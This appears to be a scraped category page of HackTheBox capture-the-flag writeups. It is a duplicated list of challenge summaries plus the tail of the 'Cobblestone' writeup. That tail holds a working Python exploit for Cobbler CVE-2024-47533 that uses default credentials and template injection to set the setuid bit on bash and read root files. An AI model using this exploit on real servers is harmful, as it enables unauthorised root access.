Home/HTB

HTB

HackTheBox writeups — boxes and challenges

17 articles

QMM — HTB Challenge
HTB

QMM — HTB Challenge

Quantum-themed heap UAF via entanglement, FILE structure hijack on stdout for libc/stack leaks, tcache poisoning, and ROP.

retleave·Apr 21, 2026·9 min
Under the Web — HTB Challenge
HTB

Under the Web — HTB Challenge

Web+binary hybrid: path traversal leaks ASLR bases, EXIF metadata in PNG overwrites PHP extension GOT for RCE.

Apr 21, 20268m
Runic — HTB Challenge
HTB

Runic — HTB Challenge

Null-byte name collision heap overflow with tcache safe-linking bypass, environ leak, and stack ROP chain.

Apr 21, 20268m
Magic Scrolls — HTB Challenge
HTB

Magic Scrolls — HTB Challenge

Heap overflow via OOB magic number write leading to arbitrary read, environ stack leak, tcache poisoning, and ROP.

Apr 21, 20268m
Last Resort — HTB Challenge
HTB

Last Resort — HTB Challenge

Fuzzing-based challenge exploiting an integer comparison overflow in a sorting algorithm's comparator function.

Apr 21, 20267m
Kryptor2 — HTB Challenge
HTB

Kryptor2 — HTB Challenge

Linux kernel module exploitation via SHA-384 hash overflow, IPC msg_msg spray, arbitrary kernel read, and ROP to root.

Apr 21, 20269m
Heapify — HTB Challenge
HTB

Heapify — HTB Challenge

Priority queue heap overflow with binary search pointer leak, tcache poisoning, and ld.so resolver hijack for RCE.

Apr 21, 20268m
Blinded — HTB Challenge
HTB

Blinded — HTB Challenge

Blind heap exploitation with single-byte write primitive targeting ld.so dso_find_for_object for code execution under Full RELRO and PIE.

Apr 21, 20269m
Offlinea — HTB Challenge
HTB

Offlinea — HTB Challenge

Chaining PHP/Flask parameter pollution, Python format string injection for SECRET_KEY leak, JWT forgery, and SSRF to extract the flag.

Apr 21, 20269m
Secure Notes — HTB Challenge
HTB

Secure Notes — HTB Challenge

Mongoose prototype pollution via MongoDB $rename operator, exploiting Node.js _peername.address internal gadget to bypass localhost IP check.

Apr 21, 20267m
Noisy Vault — HTB Challenge
HTB

Noisy Vault — HTB Challenge

[Easy] Quantum challenge: recovering a 64-bit secret key through noisy measurements using majority voting across 4096 shots.

Apr 21, 20268m
The Needle — HTB Challenge
HTB

The Needle — HTB Challenge

[Very Easy] Firmware analysis: binwalk extraction of squashfs, finding hardcoded telnet credentials in init scripts to access the device.

Apr 21, 20266m
CubeMadness1 — HTB Challenge
HTB

CubeMadness1 — HTB Challenge

[Very Easy] GamePwn challenge: extracting the flag from Unity IL2CPP game assets using UnityPy to dump textures from the splash screen.

Apr 21, 20266m
Baby Time Capsule — HTB Challenge
HTB

Baby Time Capsule — HTB Challenge

[Easy] Classic Hastad broadcast attack against RSA with e=5. Collect 5 ciphertexts, apply CRT, and take the integer 5th root.

Apr 21, 20266m
Low Logic — HTB Challenge
HTB

Low Logic — HTB Challenge

[Easy] Hardware challenge: reverse-engineering an RTL circuit from a schematic to determine the logic function (IN0 AND IN1) OR (IN2 AND IN3).

Apr 21, 20265m
Quantum Flagportation — HTB Challenge
HTB

Quantum Flagportation — HTB Challenge

[Easy] Solving the quantum teleportation protocol challenge: applying X/Z corrections based on Bell measurements to recover the flag bit by bit.

Apr 21, 20267m
Cobblestone — HTB Box Writeup
HTB

Cobblestone — HTB Box Writeup

[Insane] Full writeup of HackTheBox Cobblestone box: SQLi to webshell, rbash escape, and Cobbler CVE-2024-47533 Cheetah template injection for root.

Apr 21, 20267m
Home/HTB

HTB

HackTheBox writeups — boxes and challenges

17 articles

QMM — HTB Challenge
HTB

QMM — HTB Challenge

Quantum-themed heap UAF via entanglement, FILE structure hijack on stdout for libc/stack leaks, tcache poisoning, and ROP.

retleave·Apr 21, 2026·9 min
Under the Web — HTB Challenge
HTB

Under the Web — HTB Challenge

Web+binary hybrid: path traversal leaks ASLR bases, EXIF metadata in PNG overwrites PHP extension GOT for RCE.

Apr 21, 20268m
Runic — HTB Challenge
HTB

Runic — HTB Challenge

Null-byte name collision heap overflow with tcache safe-linking bypass, environ leak, and stack ROP chain.

Apr 21, 20268m
Magic Scrolls — HTB Challenge
HTB

Magic Scrolls — HTB Challenge

Heap overflow via OOB magic number write leading to arbitrary read, environ stack leak, tcache poisoning, and ROP.

Apr 21, 20268m
Last Resort — HTB Challenge
HTB

Last Resort — HTB Challenge

Fuzzing-based challenge exploiting an integer comparison overflow in a sorting algorithm's comparator function.

Apr 21, 20267m
Kryptor2 — HTB Challenge
HTB

Kryptor2 — HTB Challenge

Linux kernel module exploitation via SHA-384 hash overflow, IPC msg_msg spray, arbitrary kernel read, and ROP to root.

Apr 21, 20269m
Heapify — HTB Challenge
HTB

Heapify — HTB Challenge

Priority queue heap overflow with binary search pointer leak, tcache poisoning, and ld.so resolver hijack for RCE.

Apr 21, 20268m
Blinded — HTB Challenge
HTB

Blinded — HTB Challenge

Blind heap exploitation with single-byte write primitive targeting ld.so dso_find_for_object for code execution under Full RELRO and PIE.

Apr 21, 20269m
Offlinea — HTB Challenge
HTB

Offlinea — HTB Challenge

Chaining PHP/Flask parameter pollution, Python format string injection for SECRET_KEY leak, JWT forgery, and SSRF to extract the flag.

Apr 21, 20269m
Secure Notes — HTB Challenge
HTB

Secure Notes — HTB Challenge

Mongoose prototype pollution via MongoDB $rename operator, exploiting Node.js _peername.address internal gadget to bypass localhost IP check.

Apr 21, 20267m
Noisy Vault — HTB Challenge
HTB

Noisy Vault — HTB Challenge

[Easy] Quantum challenge: recovering a 64-bit secret key through noisy measurements using majority voting across 4096 shots.

Apr 21, 20268m
The Needle — HTB Challenge
HTB

The Needle — HTB Challenge

[Very Easy] Firmware analysis: binwalk extraction of squashfs, finding hardcoded telnet credentials in init scripts to access the device.

Apr 21, 20266m
CubeMadness1 — HTB Challenge
HTB

CubeMadness1 — HTB Challenge

[Very Easy] GamePwn challenge: extracting the flag from Unity IL2CPP game assets using UnityPy to dump textures from the splash screen.

Apr 21, 20266m
Baby Time Capsule — HTB Challenge
HTB

Baby Time Capsule — HTB Challenge

[Easy] Classic Hastad broadcast attack against RSA with e=5. Collect 5 ciphertexts, apply CRT, and take the integer 5th root.

Apr 21, 20266m
Low Logic — HTB Challenge
HTB

Low Logic — HTB Challenge

[Easy] Hardware challenge: reverse-engineering an RTL circuit from a schematic to determine the logic function (IN0 AND IN1) OR (IN2 AND IN3).

Apr 21, 20265m
Quantum Flagportation — HTB Challenge
HTB

Quantum Flagportation — HTB Challenge

[Easy] Solving the quantum teleportation protocol challenge: applying X/Z corrections based on Bell measurements to recover the flag bit by bit.

Apr 21, 20267m
Cobblestone — HTB Box Writeup
HTB

Cobblestone — HTB Box Writeup

[Insane] Full writeup of HackTheBox Cobblestone box: SQLi to webshell, rbash escape, and Cobbler CVE-2024-47533 Cheetah template injection for root.

Apr 21, 20267m
. Critically, Cheetah templates can execute arbitrary Python code using `#set` directives.\n\nThe vulnerability exists in the `generate_profile_autoinstall()` XMLRPC method. When this method is called, Cobbler:\n\n1. Retrieves the profile's associated autoinstall template\n2. Renders the template through the Cheetah engine\n3. Returns the rendered output\n\nBecause the XMLRPC API allows authenticated users to **write** autoinstall templates via `write_autoinstall_template()`, an attacker with valid credentials can inject arbitrary Python code into a template and trigger its execution by calling `generate_profile_autoinstall()`.\n\nThe key distinction is that `generate_profile_autoinstall()` (profile-level) triggers the full Cheetah render pipeline, while `generate_autoinstall()` (system-level) has slightly different code paths. The profile variant is the reliable exploitation target.\n\n### Exploitation Requirements\n\nFor the template rendering to succeed, the profile must reference a valid distro, and the distro must have a **kernel path that actually exists on the filesystem**. If the kernel file does not exist, Cobbler raises an error before reaching the template rendering stage.\n\nWe can discover valid kernel paths using the webshell or by guessing standard Debian paths:\n\n```\n/boot/vmlinuz-6.1.0-37-amd64\n/boot/initrd.img-6.1.0-37-amd64\n```\n\n### Exploitation Script\n\n```python\nimport xmlrpc.client\n\ns = xmlrpc.client.ServerProxy('http://127.0.0.1:25151')\ntoken = s.login('cobbler', 'cobbler')\n\n# Step 1: Create a distro with real kernel paths\n# The kernel must exist on disk or Cobbler refuses to render templates\ndid = s.new_distro(token)\ns.modify_distro(did, 'name', 'pwndistro', token)\ns.modify_distro(did, 'arch', 'x86_64', token)\ns.modify_distro(did, 'breed', 'redhat', token)\ns.modify_distro(did, 'kernel', '/boot/vmlinuz-6.1.0-37-amd64', token)\ns.modify_distro(did, 'initrd', '/boot/initrd.img-6.1.0-37-amd64', token)\ns.save_distro(did, token)\n\n# Step 2: Create a profile linked to the distro\npid = s.new_profile(token)\ns.modify_profile(pid, 'name', 'pwnprofile', token)\ns.modify_profile(pid, 'distro', 'pwndistro', token)\n\n# Step 3: Write a malicious Cheetah template\n# #set executes Python code during template rendering\n# __import__(\"os\").system() runs shell commands as the Cobbler process (root)\npayload = '#set $null = __import__(\"os\").system(\"chmod u+s /usr/bin/bash\")\\n'\ns.write_autoinstall_template('pwn.ks', payload, token)\ns.modify_profile(pid, 'autoinstall', 'pwn.ks', token)\ns.save_profile(pid, token)\n\n# Step 4: Trigger the render -- this executes the payload as root\ns.generate_profile_autoinstall('pwnprofile')\n\n# Alternative: read the flag directly via template output\npayload2 = '#set $out = __import__(\"os\").popen(\"cat /root/root.txt\").read()\\n$out\\n'\ns.write_autoinstall_template('pwn.ks', payload2, token)\nresult = s.generate_profile_autoinstall('pwnprofile')\nprint(result) # contains the flag\n```\n\nThe Cheetah `#set` directive evaluates the right-hand side as Python code. `__import__(\"os\")` dynamically imports the `os` module at render time, and `.popen()` or `.system()` executes commands with the privileges of the Cobbler daemon -- which is root.\n\n## Root Flag\n\n```\na4acfa73abfbe8e8550b30f6df44751f\n```\n\n## Key Takeaways\n\n- **FILE privilege in MySQL** transforms SQL injection into filesystem read/write. Always check `SHOW GRANTS` for the database user.\n- **Cobbler default credentials** (`cobbler:cobbler`) are a well-known attack vector. The XMLRPC API on port 25151 exposes the full management interface.\n- **CVE-2024-47533** exploits the Cheetah template engine's ability to execute Python code via `#set` directives. The critical method is `generate_profile_autoinstall()`, not `generate_autoinstall()`.\n- **Distro kernel paths must exist** on disk for profile rendering to succeed -- this is a non-obvious requirement that can stall exploitation.\n- **Cron cleanup jobs** create operational pressure during webshell usage. Plan your command chains in advance and execute them quickly.\n- **rbash restrictions** do not prevent SSH port forwarding, which is often sufficient to reach internal services.\n","excerpt":"[Insane] Full writeup of HackTheBox Cobblestone box: SQLi to webshell, rbash escape, and Cobbler CVE-2024-47533 Cheetah template injection for root.","categoryId":null,"authorName":"retleave","publishedAt":"2026-04-21T10:34:51.241990Z","createdAt":"2026-04-21T10:34:51.241990Z","updatedAt":"2026-04-21T10:34:51.241990Z","isDraft":0,"previewImageId":38,"isLocked":1,"previewImage":{"id":38,"filename":"box.png","originalName":"htb-box-preview.png","mimeType":"image/png","size":12555,"uploadedAt":"2026-04-21T13:24:51.363193+00:00","thumbnailUrl":"/uploads/box.png","mediumUrl":"/uploads/box.png","largeUrl":"/uploads/box.png","width":1200,"height":630},"categories":[{"id":13,"name":"HTB","slug":"htb"}],"tags":[{"id":11,"name":"box","slug":"box"},{"id":19,"name":"privesc","slug":"privesc"},{"id":20,"name":"sqli","slug":"sqli"},{"id":23,"name":"pentest","slug":"pentest"},{"id":25,"name":"rce","slug":"rce"}]}],"categories":[{"id":10,"name":"Research","slug":"research","description":"Original security research, vulnerability analysis, and technical deep dives","createdAt":"2026-01-25T15:39:51.891Z","categoryOrder":0},{"id":12,"name":"Drafts","slug":"drafts","description":"Work in progress articles and draft content under development","createdAt":"2026-01-25T15:39:51.906Z","categoryOrder":1},{"id":13,"name":"HTB","slug":"htb","description":"HackTheBox writeups — boxes and challenges","createdAt":"2026-04-21 10:34:19","categoryOrder":3}],"type":"category"}